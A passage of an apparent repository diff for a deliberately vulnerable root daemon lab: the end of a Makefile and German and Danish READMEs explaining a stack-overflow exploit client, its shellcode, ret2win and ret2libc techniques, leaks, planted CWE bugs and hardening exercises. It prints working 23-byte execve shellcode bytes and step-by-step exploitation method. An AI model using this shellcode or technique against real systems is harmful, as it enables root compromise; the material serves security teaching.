echo "MATCH: the $$n bytes in foowosc.c are byte-for-byte what"; \
echo " shellcode.S assembles to."; \
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; \
else \
echo "MISMATCH -- the two differ:"; \
diff .sc_c.txt .sc_asm.txt || true; \
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt; exit 1; \
fi
# -----------------------------------------------------------------------------
# hardened: same source, all mitigations ON. Every technique should die at the
# canary; the console contrast is the lesson, plus the reminder that a
# hardened build is still a root daemon if root started it.
# -----------------------------------------------------------------------------
hardened: foowosd.c
$(CC) $(CSTD) $(DBG) $(WARN) $(HARDEN) -o foowosd_hardened $<
@echo
@echo "=== foowosd_hardened built with the mitigations ON."
@echo "=== Stack segment ('RW' is what you want; 'RWE' would be executable):"
@readelf -W -l foowosd_hardened | grep GNU_STACK
test-hardened: hardened tests/pty_wosuid_test
@if ! pgrep -x foowosd >/dev/null; then \
echo "=== start the daemon first: make run (or make run-root)"; exit 1; \
fi
@$(MAKE) --no-print-directory stop
@echo "### starting foowosd_hardened instead"
@setsid nohup ./foowosd_hardened > foowosd_hardened.log 2>&1 </dev/null \
& disown 2>/dev/null || true
@sleep 1
@if ! pgrep -x foowosd_hardene 2>/dev/null; then \
echo "!!! foowosd_hardened did not start; see foowosd_hardened.log"; \
$(MAKE) --no-print-directory stop; exit 1; \
fi
@echo "### stack segment: 'rw-p' (NOT executable) is what you want to see"
@grep '\[stack\]' /proc/$$(pgrep -x foowosd_hardene 2>/dev/null | head -1)/maps || true
@echo
@for t in ret2win ret2libc shellcode; do \
echo "=================== $$t"; \
if ./tests/pty_wosuid_test -t $$t 2>&1 >/dev/null; then \
echo "--- $$t: got a shell (report the ROOT= line above)"; \
else \
echo "--- $$t was stopped by the mitigations (as expected)"; \
fi; \
done
@echo
@$(MAKE) --no-print-directory stop
@echo "### restoring the vulnerable daemon (same uid mode as before: run/run-root/run-root-ns)"
@setsid nohup ./foowosd > foowosd.log 2>&1 </dev/null & disown 2>/dev/null || true
@sleep 1
@echo
@echo "=== mitigation contrast is above. See README.md."
# -----------------------------------------------------------------------------
# debug: rebuild for gdb and show the first breakpoints to try.
# -----------------------------------------------------------------------------
debug: foowosd.c
$(CC) $(CSTD) $(DBG) $(WARN) $(VULN) -o foowosd $<
@echo "=== built ./foowosd for gdb. Try:"
@echo " gdb -q ./foowosd"
@echo " (gdb) break foowosd.c:345 # the read() that overflows"
@echo " (gdb) run -p 2344"
@echo " (gdb) info registers rsp rbp"
# -----------------------------------------------------------------------------
# clean. Logs are left: they are your evidence.
# -----------------------------------------------------------------------------
clean:
rm -f foowosd foowosc foowosd_hardened shellcode.bin
rm -f .sc_c_raw.txt .sc_c.txt .sc_asm.txt
rm -f tests/pty_wosuid_test
@echo "=== cleaned. (foowosd.log / foowosd_hardened.log are left alone.)"
.PHONY: all run run-root run-root-ns stop status test test-root verify \
verify-shellcode hardened test-hardened debug clean

325
wosuid/README.DE.md Normal file
View file

@ -0,0 +1,325 @@
# Das `wosuid`-Labor — Root-RCE **ohne** Setuid-Bit
```
foowosd ein absichtlich angreifbarer Daemon, der root ist, weil er als
root *GESTARTET* wurde (Port 2344, standardmäßig nur Loopback)
foowosc der Exploit: verwandelt einen Stack-Overflow in eine **root**-Shell,
indem er Shellcode ausführt — dieselben 23 Bytes, mit denen der
User-Level-`food`-Daemon im übergeordneten Labor geknackt wurde
```
Das ist das dritte Labor der Reihe. Gleiche Exploit-Toolchain, gleicher Stil,
ein fundamentaler Unterschied:
| Labor | wie der Zielprozess root wird | `uid=0(root)`-Shell? |
|----------|------------------------------------------------|----------------------|
| food/fooc| nie — es ist ein gewöhnlicher User-Daemon | nein |
| foosd/foosc | das SUID-Bit (`chmod u+s`) — euid 0, ruid 1000 | ja (braucht `setreuid` im Shellcode, weil bash euid→ruid zurücksetzt) |
| **foowosd/foowosc** | **keins — root *startet* den Daemon** (sudo / systemd `User=root`) | **ja (schlichter `execve`-Shellcode)** |
Das Setuid-Bit ist ein *Transportmittel* für Privilegien — nicht die
Privilegien selbst. Ein von root gestarteter Daemon hat reale, effektive und
gespeicherte uid alle gleich 0. Für den Kernel ist das root, Punkt; es kann und
will nicht wissen, ob der Prozess über `+s` an einer Datei dorthin kam oder
über `sudo ./foowosd`. Der Overflow in einem von root gestarteten Daemon ist
also ein Root-Exploit — *„Ich habe keine SUID-Binärprogramme" ist nicht
dasselbe wie „Ich bin nicht ausnutzbar".*
Das ist die ganze Lektion dieses Labors. Alles darunter ist die Maschinerie.
---
## Schnellstart (was der Benutzer angefordert hat)
```
cd wosuid
make # baut den Daemon, den Exploit und die Test-Harness
```
### Das Echte — den Daemon als **root** ausführen
```
sudo make run-root # startet foowosd als uid 0 (Prozess, nicht Dateimodus)
make test-root # jede Technik muss jetzt uid=0(root) ergeben
```
### Kein sudo? Derselbe Kernelpfad über einen User-Namespace
```
make run-root-ns # uid 0 in einem User-Namespace — kein Passwort nötig
make test-root # gleiche Urteile; für CI und alle ohne sudo
```
### Baseline — Daemon als dein normaler Benutzer (kein root irgendwo)
```
make run # foowosd läuft mit deinen uids
make test # Exploits landen Shells, aber `root` wird als MISSING erwartet
```
### Aufräumritual (immer: dies ist ein Root-Shell-Labor)
```
make stop
```
`foowosd` ist *nicht* setuid, und nichts in diesem Verzeichnis macht je
`chmod +s` — das ist der Punkt. Der gefährliche Zustand ist der **Prozess**,
nicht die Datei.
---
## Wenn dir gesagt wird, das SUID-Bit zu setzen
Du wirst es **nicht** tun. Dieses Labor hat bewusst kein SUID-Bit:
- `foowosd` wird gebaut, gehört dir und hat reguläre Modi wie jedes andere
Programm.
- Es wird so root, wie es echte Daemons tun — indem es von *root* gestartet
wird.
- `make run-root` nutzt dafür `sudo`, und `make run-root-ns` bekommt einen
echten uid-0-Prozess ganz ohne das.
Das Suid-Bit gehört dem *Schwester*-Labor (`foosd`). Der Kontrast zwischen den
beiden ist der Lehrplan:
1. SUID-Labor: Das Bit gibt **euid 0, aber ruid 1000** → `execve("/bin/sh")`
wird vom Wächter der bash herabgestuft (`euid != ruid` → Reset) →
der Shellcode muss zuerst `setreuid(0,0)` aufrufen (32-Byte-Payload).
2. Dieses Labor: root **startet** den Prozess → **ruid == euid == 0** → der
Wächter hat nichts zurückzusetzen → der schlichte 23-Byte-`execve`-Shellcode
behält root.
Gleicher Overflow. Gleiche Technik. Anderer *Ursprung* der Privilegien, andere
Payload-Form. Das ist die Lektion in Miniatur.
---
## Das Protokoll
Egal welche Art Client sich verbindet, foowosd begrüßt ihn mit:
```
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (das Banner + die Leaks)
BUF=0x7ffd… (die Pufferadresse)
```
`ids=euid/ruid` ist der *„bin ich root?"*-Seitenkanal. foowosc druckt eine
laute Warnung, wenn euid nicht 0 ist (d. h., du hast den Daemon als normalen
Benutzer gestartet): Der Payload landet trotzdem, aber die Shell wird eine
Benutzer-Shell sein, und den Exploit „kaputt" zu nennen wäre falsch — er
eskaliert nur eben nicht.
> Schreibweise-Hinweis: `ids=`, nicht `euid=`/`ruid=`. Die Test-Harness beweist
> ein lebendes `id`, indem sie die wörtliche Form `uid=NNN(` matcht, daher darf
> das Banner nie einen Teilstring enthalten, der selbst die Prüfung erfüllt.
> (Im SUID-Labor erzeugte genau diese Falle ein spektakuläres Fehlpositiv.)
---
## Die Exploit-Techniken (`foowosc -t …`)
Alle vier Exploit-Pfade unten funktionieren gegen foowosd. Wenn der Daemon
root ist, ergeben **alle, die irgendetwas spawne, root** — anders als im
SUID-Labor, wo ret2win/ret2libc vom bash-Wächter still auf uid 1000
herabgestuft wurden. Hier gibt es keinen Mismatch, gegen den es zu wachen
gälte.
| `-t` | was passiert | wenn der Daemon root ist |
|---------------|---------------------------------------------------------------------|---------------------|
| `shellcode` | 23-Byte-`execve("/bin/sh", NULL, NULL)` läuft auf dem Stack. | **root-Shell** (Standard) |
| `ret2win` | Sprung zu `win()` → `execl("/bin/sh")` | **root-Shell** |
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root-Shell** |
| `demo` | nur Müll-Overflow — erwarte ein SIGSEGV im Daemon-Log | Absturz, per Design |
| `leak` | druckt nur die Leaks, sendet keinen Payload | n/a |
```
./foowosc -t shellcode # interaktiv; Standardziel 127.0.0.1:2344
./foowosc -t shellcode -n # senden und berichten, keine interaktive Session
```
Eine erfolgreiche interaktive Session leitet dein Terminal an die Shell *auf
dem Opfer* weiter — es gibt genau eine Shell im Bild, und es ist `/bin/sh`,
das als root in foowosd läuft. Tippe `id`, um `uid=0(root)` zu sehen.
### Warum es hier keine `ret2win-root`-Technik gibt
foosc hatte eine — sie sprang zu einem `win_root()`, das vor dem exec
`setreuid(0,0)` aufrief, weil ein Setuid-Prozess mit einer realen uid lief, die
immer noch 1000 sagte. Ein von root *gestarteter* Prozess hat die reale uid
schon 0; es gibt nichts zu leeren, also würden die zusätzliche Funktion und
Technik nichts lehren. Entfernt.
---
## Was foowosc Schritt für Schritt tut
1. **Statische Analyse** — `objdump -d` von `./foowosd`. Findet
`vulnerable_handler`, `win()`, das `lea -0x50(%rbp)`, das `buf` adressiert,
und das erste nackte `ret`. Aus der Verschiebung berechnet es
`rip_off = 80 + 8 = 88`. Nichts ist hart verdrahtet; das überlebt einen
Rebuild.
2. **Selbst-Introspektion** — liest sein eigenes `/proc/self/maps` und ruft per
`dlsym()` `system`/`read` auf, um die libc-*Offsets* zu lernen. Die
libc-Basis des Ziels ist `leaked_read − off_read`, dann ist
`system = base + off_system`, usw. Diese Delta-Arithmetik ist der Grund,
warum Exploits über libc-Versionen hinweg am Leben bleiben.
3. **Verbinden** — liest das Banner/die Leaks (`ids=`, `stack=`, `libc=`,
`BUF=`).
4. **Payload bauen** — für `shellcode`: 23 Bytes Maschinencode, Padding bis
`rip_off`, dann die gespeicherte RIP = `buf` (sodass `ret` auf den Code
springt). Für `ret2win`/`ret2libc`: aus der Analyse berechnete Adressen —
keine Ausführung des Stacks nötig.
5. **Der Ausrichtungs-Fix** — ein gekapertes nacktes `ret` übergibt dem Callee
`rsp ≡ 8 (mod 16)`, und glibcs SSE2-Code `movaps`-fault auf einem nicht
ausgerichteten Stack (der Crash-Reporter loggt `si_addr=(nil)` — der
Hinweis). foowosc fügt vor dem echten Ziel ein zusätzliches `ret`-Gadget ein
und stellt die Invariante wieder her. Samthandschuh-Ingenieurkunst in einem
Shellcode-Labor, aber es ist der Unterschied zwischen einem Payload, der
„manchmal funktioniert", und einem, der immer funktioniert.
6. **Senden, dann weiterleiten** — der Opferprozess *ist* die Shell; dieser
Prozess nur splißt Bytes. Keine lokale Shell, kein zweiter Leser — der
Single-Read-Cursor-Fehler (ein gefressenes Byte pro Block) ist in
`become_shell()` dokumentiert.
---
## Die absichtlichen Bugs des Daemons (alle in `foowosd.c`, alle echte CWE-Klassen)
| # | Bug | CWE | Hinweis |
|---|-----|-----|------|
| 1 | `read(fd, buf, 512)` in einen 64-Byte-Stack-Puffer | CWE-120 | der Overflow: 448 Bytes über `buf` hinaus, gespeicherte RIP bei +88 |
| 2 | nur `snprintf(line, …, "%.*s", …)`; aber Angreifer-`%` im Echo-Pfad | CWE-134 | das Leak ist hier der eigentliche Payload; ein `%n` in einem *root*-Prozess wäre write-what-where als root |
| 3 | Kinder behalten root, während sie unvertrauenswürdige Eingaben behandeln | CWE-271 | das korrekte `drop_privs()` (setgroups→setgid→setuid, in dieser Reihenfolge, mit Verifikation) steht in der Datei, kommentiert, *bewusst nie aufgerufen* |
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` an jeden Client offengelegt | CWE-200 | ohne diese Leaks könnten Shellcode- und ret2libc-Techniken keine Adressen berechnen (ASLR würde sie schlagen) |
Der Handler hat exakt dieselbe `buf[64]`/`read(512)`-Form wie die beiden
anderen Labore, sodass die geteilte objdump-basierte Erkennungspipeline
unverändert funktioniert.
---
## So inspizierst du den Daemon (Lernpfad)
```
make status # läuft er? als welche uid? Dateimodus wird gezeigt
make run-root # oder run / run-root-ns
./foowosc -t leak # sieh das Banner und die Leaks, sende nichts
./foowosc -t demo # Müll-Overflow -> SIGSEGV, geloggt mit RIP/rsp
./foowosc -t shellcode # die interaktive Root-Shell
make test-root # volle Matrix, alle Techniken, --must-root
```
Crash-Reporter: Bei SIGSEGV loggt der Daemon die Fehleradresse, RIP und RSP.
Ein `ret` in eine nicht-kanonische `0x4141…` fault am `ret` selbst (RIP wie
`0x4028xx`, `si_addr=(nil)`) — wissenswert, bevor du eine Log-Zeile als
NULL-Deref fehlliest.
---
## Warum der Shellcode 23 Bytes sind, nicht 32
```
31 f6 xor esi, esi ; argv = NULL
31 d2 xor edx, edx ; envp = NULL
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
57 push rdi
48 89 e7 mov rdi, rsp
6a 3b push 0x3b ; 59 = execve
58 pop rax
0f 05 syscall
```
Das SUID-Labor braucht `setreuid(0,0)` davor. Dieses Labor nicht, aus dem
Grund, der überall wiederholt wird: **ruid ist bereits 0**, weil root den
Prozess gestartet hat. `make verify` beweist, dass die Bytes in `foowosc.c`
Byte für Byte das sind, was `shellcode.S` assembliert.
---
## Gegenmaßnahmen — was `make hardened` ändert
Gehärteter Build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
| Technik | angreifbares `foowosd` | gehärtetes `foowosd_hardened` |
|-----------|----------------------|------------------------------|
| `shellcode` | root-Shell (ausführbarer Stack) | SIGSEGV bei der Canary-Prüfung / NX |
| `ret2win` / `ret2libc` | root-Shell | Canary bricht `ret` ab — aber Achtung: ein *PIE*-Build macht diese Adressen auch zufällig |
| `demo` | SIGSEGV, geloggt | SIGSEGV, geloggt |
`make test-hardened` demonstriert das live. Die wichtige Beobachtung ist nicht
nur, dass die Gegenmaßnahmen die Techniken getötet haben — es ist, dass sie
den Daemon **nicht** „nicht-root" gemacht haben. Ein gehärteter Build, der
immer noch als root *gestartet* wird, ist immer noch ein Root-Daemon; die
Gegenmaßnahme erhöht nur die Latte für den Angreifer. Least Privilege
(`drop_privs()`) und Speichersicherheit sind zwei verschiedene Bugs, und ein
Daemon, der root nicht braucht, sollte es nicht haben.
---
## Sicherheitsleitplanken (gleiche Politik wie das SUID-Labor)
- **Nur Loopback.** foowosd weigert sich, etwas anderes als `127.0.0.1` /
`localhost` / `::1` zu binden, sofern du nicht `-L` übergibst. Ein
Root-Daemon auf einer echten Schnittstelle ist ein *entfernter* Root-Dienst.
`-L` dient nur dazu, den Wächter zu zeigen; verwende es nicht auf irgendetwas,
das wichtig ist.
- **Der Zustand wird laut geloggt.** Beim Start druckt es `ruid/euid` und ob
dies ein Root-Prozess ist, sodass du immer weißt, welches Exploit-Ergebnis
zu erwarten ist.
- **Urteile kommen aus Exit-Status** in `make test*` (dem Rückgabecode der
pty-Harness), nie aus dem Greppen ihrer stdout-Ausgabe — greppbare Ausgabe
lügt.
- **pty muss cooked + ECHO off laufen**, sonst spiegelt die Harness ihre eigene
Befehlszeile zurück und fälscht den Marker. Die Harness schaltet ECHO aus und
lässt ECHONL an.
- **Aufräumritual:** `make stop` nach jeder Session. Wenn der Daemon
root-gehörig ist, sagt dir `stop`, dass du `sudo pkill -x foowosd` ausführen
sollst.
- Führe dies nie auf einem Host aus, der dir wichtig ist. Es existiert, um
`uid=0`-Shells über die Loopback-Schnittstelle auszugeben.
---
## Übungen
1. Führe `make run` (User-Daemon) aus, dann `./foowosc -t shellcode`. Warum
ist die Shell nicht root? (Prüfe `ids=` im Banner — foowosc sagt es dir,
bevor du dich überhaupt verbindest.)
2. `make stop && sudo make run-root && make test-root`. Erkläre anhand der
Banner-Zeile, warum alle vier Techniken jetzt `uid=0(root)` ergeben.
3. Finde in `foowosd.c` `drop_privs()` und lies, *warum die Reihenfolge* von
`setgroups → setgid → setuid` zählt. Entscheide, wo in `main()` es
hingehören würde, und was aus der Angriffsfläche des Labors wird, sobald es
tatsächlich aufgerufen wird.
4. Berechne `rip_off` von Hand aus `objdump -d foowosd`: finde `buf`s
`lea -0xNN(%rbp)` in `vulnerable_handler`, dann `NN + 8`. foowosc macht
genau das; prüfe seine Rechnung gegen deine eigene.
5. `make hardened && make test-hardened`. Welche Technik erliegt dem Canary und
welche NX? Warum ändert Härten nicht, was `make status` über den *Prozess*
meldet?
6. Vergleiche die Shellcodes der beiden Labore: 23 Bytes hier, 32 für foosd.
Was tun die zusätzlichen 9 Bytes, und warum werden sie nur im SUID-Fall
gebraucht?
7. Lies `become_shell()`s Kommentar über den einzelnen Read-Cursor. Stelle den
Ausfallmodus gedanklich nach: zwei Leser an einem Socket bedeuten, dass die
Login-Shell ein Byte pro Block frisst — „uid=1000…" kommt als „id=1000…" an.
Warum kann ein Relay-Prozess diesen Bug nie haben?
---
## Dateien
```
foowosd.c der angreifbare Root-Daemon (jede Zeile kommentiert)
foowosc.c der Exploit (jede Zeile kommentiert)
shellcode.S Referenz-Assembly für den 23-Byte-Payload
tests/pty_wosuid_test.c die pty-Harness (Marker + strenge id-Form-Prüfungen)
Makefile build / run / run-root / run-root-ns / test /
test-root / verify / hardened / clean …
```
Schwester-Labore: `../food.c`/`../fooc.c` (User-Level-Baseline, Port 2342) und
`../suid/` (SUID-Root-Daemon `foosd`/`foosc`, Port 2343). Die Ports sind
bewusst verschieden — du kannst alle drei gleichzeitig laufen lassen und ihre
`ids=`-Zeilen im Banner gegeneinander prüfen.

309
wosuid/README.DK.md Normal file
View file

@ -0,0 +1,309 @@
# `wosuid`-laboratoriet — root-RCE **uden** setuid-bit
```
foowosd en bevidst sårbar daemon, der er root, fordi den blev *STARTET* som
root (port 2344, kun loopback som standard)
foowosc exploitet: forvandler et stack-overløb til en **root**-shell ved at
udføre shellcode — de samme 23 bytes, der knækkede user-level-
`food`-daemonen i det overordnede laboratorium
```
Det er det tredje laboratorium i serien. Samme exploit-værktøjskæde, samme
stil, én fundamental forskel:
| Laboratorium | hvordan target-processen bliver root | `uid=0(root)`-shell? |
|----------|------------------------------------------------|----------------------|
| food/fooc| aldrig — det er en almindelig user-daemon | nej |
| foosd/foosc | SUID-bitten (`chmod u+s`) — euid 0, ruid 1000 | ja (kræver `setreuid` i shellcoden, fordi bash nulstiller euid→ruid) |
| **foowosd/foowosc** | **ingen — root *starter* daemonen** (sudo / systemd `User=root`) | **ja (almindelig `execve`-shellcode)** |
Setuid-bitten er et *transportmiddel* for privilegier — ikke privilegierne
selv. En daemon startet af root har reelle, effektive og gemte uid alle lig 0.
For kernen er det root, punktum; den kan og vil ikke vide, om processen kom
derhen via `+s` på en fil eller via `sudo ./foowosd`. Overløbet i en
root-started daemon er altså et root-exploit — *"jeg har ingen
SUID-binærfiler" er ikke det samme som "jeg er ikke udnyttelig".*
Det er hele lektionen i dette laboratorium. Alt herunder er maskineriet.
---
## Hurtig start (hvad brugeren bad om)
```
cd wosuid
make # bygger daemonen, exploitet og test-harnessen
```
### Det ægte — kør daemonen som **root**
```
sudo make run-root # starter foowosd som uid 0 (proces, ikke filtilstand)
make test-root # hver teknik skal nu give uid=0(root)
```
### Ikke sudo? Den identiske kernel-sti via en user-namespace
```
make run-root-ns # uid 0 i en user-namespace — ingen adgangskode nødvendig
make test-root # samme domme; bruges af CI og alle uden sudo
```
### Baseline — daemon som din normale bruger (intet root nogen steder)
```
make run # foowosd kører med dine uider
make test # exploits lander shells, men `root` forventes MISSING
```
### Oprydningsritual (altid: dette er et root-shell-laboratorium)
```
make stop
```
`foowosd` er *ikke* setuid, og intet i dette bibliotek laver nogensinde
`chmod +s` — det er pointen. Den farlige tilstand er **processen**, ikke
filen.
---
## Når du bliver bedt om at sætte SUID-bitten
Det kommer du **ikke** til. Dette laboratorium har bevidst ingen SUID-bit:
- `foowosd` bygges, ejes og har almindelige tilstande som ethvert andet program.
- Det bliver root, som rigtige daemoner gør — ved at blive *startet* af root.
- `make run-root` bruger `sudo` til præcis det, og `make run-root-ns` får en
ægte uid-0-proces helt uden noget af det.
Suid-bitten tilhører *søster*-laboratoriet (`foosd`). Kontrasten mellem de to
er pensum:
1. SUID-laboratoriet: bitten giver **euid 0, men ruid 1000** →
`execve("/bin/sh")` nedgraderes af bashs vagt (`euid != ruid` → reset) →
shellcoden må først kalde `setreuid(0,0)` (32-byte-payload).
2. Dette laboratorium: root **starter** processen → **ruid == euid == 0** →
vagten har intet at nulstille → den almindelige 23-byte `execve`-shellcode
beholder root.
Samme overløb. Samme teknik. Forskellig *oprindelse* af privilegier, anderledes
payload-form. Det er lektionen i miniature.
---
## Protokollen
Uanset hvilken slags klient der forbinder, hilser foowosd på den med:
```
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (banneret + leaks)
BUF=0x7ffd… (bufferadressen)
```
`ids=euid/ruid` er *"er jeg root?"*-sidekanalen. foowosc printer en høj
advarsel, når euid ikke er 0 (dvs. du startede daemonen som en almindelig
bruger): payloaden lander stadig, men shellen bliver en bruger-shell, og at
kalde exploitet "i stykker" ville være forkert — det eskalerer bare ikke.
> Staveform-bemærkning: `ids=`, ikke `euid=`/`ruid=`. Test-harnessen beviser et
> levende `id` ved at matche den bogstavelige form `uid=NNN(`, så banneret må
> aldrig indeholde en delstreng, der selv opfylder tjekket. (I SUID-laboratoriet
> producerede præcis den fælde et spektakulært falsk positivt.)
---
## Exploit-teknikkerne (`foowosc -t …`)
Alle fire exploit-stier nedenfor virker mod foowosd. Når daemonen er root,
giver **alle, der spawner noget, root** — i modsætning til SUID-laboratoriet,
hvor ret2win/ret2libc stille og roligt blev nedgraderet til uid 1000 af bashs
vagt. Her er der intet mismatch at vogte mod.
| `-t` | hvad der sker | når daemonen er root |
|---------------|---------------------------------------------------------------------|---------------------|
| `shellcode` | 23-byte-`execve("/bin/sh", NULL, NULL)` kører på stacken. | **root-shell** (standard) |
| `ret2win` | hop til `win()` → `execl("/bin/sh")` | **root-shell** |
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root-shell** |
| `demo` | kun junk-overløb — forvent et SIGSEGV i daemon-loggen | nedbrud, efter design |
| `leak` | printer bare leaks, sender ingen payload | n/a |
```
./foowosc -t shellcode # interaktiv; standard-target 127.0.0.1:2344
./foowosc -t shellcode -n # send og rapporter, ingen interaktiv session
```
En vellykket interaktiv session videresender din terminal til shellen *på
offeret* — der er præcis én shell i billedet, og det er `/bin/sh`, der kører
som root inde i foowosd. Skriv `id` for at se `uid=0(root)`.
### Hvorfor der ikke er nogen `ret2win-root`-teknik her
foosc havde én — den hoppede til et `win_root()`, der kaldte `setreuid(0,0)`
før exec, fordi en setuid-proces kørte med en reelle uid, der stadig sagde
1000. En root-*startet* proces har den reelle uid allerede 0; der er intet at
rydde, så den ekstra funktion og teknik ville ikke lære noget. Fjernet.
---
## Hvad foowosc gør, trin for trin
1. **Statisk analyse** — `objdump -d` af `./foowosd`. Finder
`vulnerable_handler`, `win()`, det `lea -0x50(%rbp)`, der adresserer `buf`,
og det første nøgne `ret`. Ud fra forskydningen beregner det
`rip_off = 80 + 8 = 88`. Intet er hardkodet; det overlever en genbygning.
2. **Selv-introspektion** — læser sit eget `/proc/self/maps` og `dlsym()`er
`system`/`read` for at lære libc-*offsets*. Targetets libc-base er
`leaked_read − off_read`, derefter `system = base + off_system`, osv. Denne
delta-aritmetik er grunden til, at exploits overlever libc-versioner.
3. **Forbind** — læser banneret/leaks (`ids=`, `stack=`, `libc=`, `BUF=`).
4. **Byg payloaden** — for `shellcode`: 23 bytes maskinkode, padding til
`rip_off`, derefter den gemte RIP = `buf` (så `ret` hopper ind på koden). For
`ret2win`/`ret2libc`: adresser beregnet ud fra analysen — ingen udførelse af
stacken nødvendig.
5. **Justeringsfixen** — et kapret nøgent `ret` giver callee'en
`rsp ≡ 8 (mod 16)`, og glibcs SSE2-kode `movaps`-fault'er på en ikke-justeret
stack (crash-reporteren logger `si_addr=(nil)` — fingerpeget). foowosc
indsætter ét ekstra `ret`-gadget før det rigtige target og genopretter
invarianten. Silkehandsketeknik i et shellcode-laboratorium, men det er
forskellen mellem en payload, der "nogle gange virker", og en, der altid
virker.
6. **Send, derefter videresend** — offerprocessen *er* shellen; denne proces
splisser kun bytes. Ingen lokal shell, ingen anden læser — single-read-
cursor-fejlen (ét spist byte per chunk) er dokumenteret i `become_shell()`.
---
## Daemonens bevidste fejl (alle i `foowosd.c`, alle ægte CWE-klasser)
| # | fejl | CWE | note |
|---|-----|-----|------|
| 1 | `read(fd, buf, 512)` ind i et 64-byte stack-buffer | CWE-120 | overløbet: 448 bytes forbi `buf`, gemt RIP ved +88 |
| 2 | kun `snprintf(line, …, "%.*s", …)`; men angriber-`%` i echo-stien | CWE-134 | leaket er her den reelle payload; et `%n` i en *root*-proces ville være write-what-where som root |
| 3 | børn beholder root, mens de håndterer utroverdige inputs | CWE-271 | det korrekte `drop_privs()` (setgroups→setgid→setuid, i den rækkefølge, med verifikation) står i filen, kommenteret, *bevidst aldrig kaldt* |
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` afsløret til enhver klient | CWE-200 | uden disse leaks kunne shellcode- og ret2libc-teknikkerne ikke beregne adresser (ASLR ville besejre dem) |
Handleren har præcis samme `buf[64]`/`read(512)`-form som de to andre
laboratorier, så den fælles objdump-baserede erkendelsespipeline virker
uændret.
---
## Sådan inspicerer du daemonen (læringssti)
```
make status # kører den? som hvilken uid? filtilsand vises
make run-root # eller run / run-root-ns
./foowosc -t leak # se banneret og leaks, send intet
./foowosc -t demo # junk-overløb -> SIGSEGV, logget med RIP/rsp
./foowosc -t shellcode # den interaktive root-shell
make test-root # fuld matrix, alle teknikker, --must-root
```
Crash-reporter: Ved SIGSEGV logger daemonen fejladressen, RIP og RSP. Et `ret`
ind i en ikke-kanonisk `0x4141…` fault'er ved `ret`-et selv (RIP som `0x4028xx`,
`si_addr=(nil)`) — værd at vide, før du fejllæser en loglinje som en
NULL-dereference.
---
## Hvorfor shellcoden er 23 bytes, ikke 32
```
31 f6 xor esi, esi ; argv = NULL
31 d2 xor edx, edx ; envp = NULL
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\0"
57 push rdi
48 89 e7 mov rdi, rsp
6a 3b push 0x3b ; 59 = execve
58 pop rax
0f 05 syscall
```
SUID-laboratoriet har brug for `setreuid(0,0)` foran dette. Dette
laboratorium ikke, af den grund der gentages overalt: **ruid er allerede 0**,
fordi root startede processen. `make verify` beviser, at bytes i `foowosc.c`
er byte-for-byte det, `shellcode.S` assemblerer til.
---
## Modforanstaltninger — hvad `make hardened` ændrer
Hærdet build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
| teknik | sårbar `foowosd` | hærdet `foowosd_hardened` |
|-----------|----------------------|------------------------------|
| `shellcode` | root-shell (eksekverbar stack) | SIGSEGV ved canary-tjekket / NX |
| `ret2win` / `ret2libc` | root-shell | canary abort'er `ret` — men bemærk: en *PIE*-build gør også disse adresser tilfældige |
| `demo` | SIGSEGV, logget | SIGSEGV, logget |
`make test-hardened` demonstrerer det live. Den vigtige observation er ikke
bare, at modforanstaltningerne dræbte teknikkerne — det er, at de **ikke**
gjorde daemonen til "ikke-root". En hærdet build, der stadig *startes* som
root, er stadig en root-daemon; modforanstaltningen hæver kun barren for
angriberen. Least privilege (`drop_privs()`) og hukommelsessikkerhed er to
forskellige fejl, og en daemon, der ikke behøver root, bør ikke have det.
---
## Sikkerhedsgelændere (samme politik som SUID-laboratoriet)
- **Kun loopback.** foowosd nægter at binde andet end `127.0.0.1` /
`localhost` / `::1`, medmindre du giver `-L`. En root-daemon på en rigtig
grænseflade er en *fjern* root-tjeneste. `-L` findes kun for at vise vagten;
brug den ikke på noget, der betyder noget.
- **Tilstanden logges højt.** Ved start printer den `ruid/euid` og om dette er
en root-proces, så du altid ved, hvilket exploit-resultat du skal forvente.
- **Domme kommer fra exit-status** i `make test*` (pty-harnessens
returkode), aldrig fra at greppe dens stdout — grebbart output lyver.
- **pty'en skal køre cooked + ECHO off**, ellers ekkoer harnessen sin egen
kommandolinje og forfalsker markøren. Harnessen slår ECHO fra og beholder
ECHONL på.
- **Oprydningsritual:** `make stop` efter hver session. Hvis daemonen er
root-ejet, siger `stop` dig at køre `sudo pkill -x foowosd`.
- Kør aldrig dette på en host, du holder af. Det findes for at uddele
`uid=0`-shells over loopback-grænsefladen.
---
## Øvelser
1. Kør `make run` (user-daemon), derefter `./foowosc -t shellcode`. Hvorfor er
shellen ikke root? (Tjek `ids=` i banneret — foowosc siger dig det, før du
overhovedet forbinder.)
2. `make stop && sudo make run-root && make test-root`. Forklar ud fra
bannerlinjen, hvorfor alle fire teknikker nu giver `uid=0(root)`.
3. Find i `foowosd.c` `drop_privs()` og læs, *hvorfor rækkefølgen* af
`setgroups → setgid → setuid` betyder noget. Beslut, hvor i `main()` den
ville høre hjemme, og hvad laboratoriets angrebsflade bliver, når den
faktisk kaldes.
4. Beregn `rip_off` i hånden ud fra `objdump -d foowosd`: find `buf`s
`lea -0xNN(%rbp)` inde i `vulnerable_handler`, derefter `NN + 8`. foowosc
gør præcis det; tjek dens regnestykke mod dit eget.
5. `make hardened && make test-hardened`. Hvilken teknik falder for canaryen,
og hvilken for NX? Hvorfor ændrer hærdning ikke, hvad `make status`
rapporterer om *processen*?
6. Sammenlign de to laboratoriers shellcodes: 23 bytes her, 32 for foosd. Hvad
gør de ekstra 9 bytes, og hvorfor behøves de kun i SUID-tilfældet?
7. Læs `become_shell()`s kommentar om den enkelte læse-cursor. Genskab
fiaskotilstanden mentalt: to læsere på én socket betyder, at login-shellen
æder ét byte per chunk — "uid=1000…" ankommer som "id=1000…". Hvorfor kan en
relay-proces aldrig have denne fejl?
---
## Filer
```
